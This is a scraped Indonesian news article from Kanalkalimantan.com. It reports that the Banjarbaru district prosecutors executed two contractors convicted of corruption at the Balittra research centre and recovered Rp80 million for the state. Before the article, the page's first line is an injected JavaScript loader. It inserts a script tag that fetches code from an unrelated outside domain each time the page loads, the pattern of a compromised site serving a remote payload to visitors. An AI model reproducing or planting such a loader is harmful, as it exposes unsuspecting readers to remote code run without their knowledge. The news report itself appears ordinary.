(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Eksekusi Dua Terpidana Korupsi Balittra, Kejari Banjarbaru Pulihkan Kerugian Negara Rp80 Juta


KANALKALIMANTAN.COM, BANJARBARU – Jaksa Eksekutor dalam Tim Pidana Khusus Kejaksaan Negeri (Kejari) Banjarbaru berhasil melakukan eksekusi dan pemulihan keuangan negara, dalam tindak pidana korupsi (tipikor) yang terjadi di Balai Penelitian Pertanian Lahan Rawa (Balittra) Banjarbaru.

Kepala Kejari Banjarbaru, Andri Irawan, mengatakan keuangan negara yang diselamatkan dalam perkara yang terjadi pada 2015 silam tersebut mencapai Rp80 juta. “Kita melakukan pemulihan uang negara sebesar Rp80 juta, berdasarkan putusan majelis hakim pengadilan tipikor pada Pengadilan Negeri Banjarmasin. Uang ini telah disetorkan ke kas negara sebagai PNBP (Penerimaan Negara Bukan Pajak) melalui Bank Rakyat Indonesia (BRI),” katanya, Kamis (2/7/2020) sore.

Sebagaimana diketahui, dua orang kontraktor pelaksana proyek di Balittta Banjarbaru, berinisial SF dan DA, ditetapkan sebagai terpidana dalam perkara tipikor ini. Keduanya dieksekusi di Pengadilan Negeri (PN) Banjarmasin.

SF dan DA terbukti melakukan korupsi saat menjalankan pekerjaan proyek di Balittra Banjarbaru, dengan nilai kontrak Rp 1,2 miliar. Berdasarkan Laporan Hasil Pemeriksaan (LHP) Audit Kerugian Negara oleh Perwakilan Badan Pengawasan Keuangan dan Pembangunan (BPKP) Provinsi Kalimantan Selatan Nomor: SR-271/PW 16/5/2019, tanggal 23 Agustus 2019, korupsi yang dilakukan oleh keduanya mengakibatkan kerugian keuangan negara sebesar Rp 298.636.703.

Terungkapnya kasus ini berawal saat Polres Banjarbaru melakukan penyidikan pada 2019 lalu, 4 tahun setelah berjalannya proyek di Balittra Banjarbaru. Pada Januari 2020, berkas perkara penyidikan Polres Banjarbaru telah dinyatakan lengkap oleh Kejari Banjarbaru dan selanjutnya dilimpahkan ke PN Banjarmasin untuk dieksekusi.

Atas terbukti bersalah melakukan korupsi, SF dan DA dijerat pasal 3 jo Pasal 18 UU RI No 31 Tahun 1999 sebagaimana telah diubah dan ditambah dengan UU RI No 20 Tahun 2001 tentang Perubahan atas UU RI No 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke 1 KUHP. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

14 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

14 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

15 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

16 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

18 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

18 jam ago

This website uses cookies.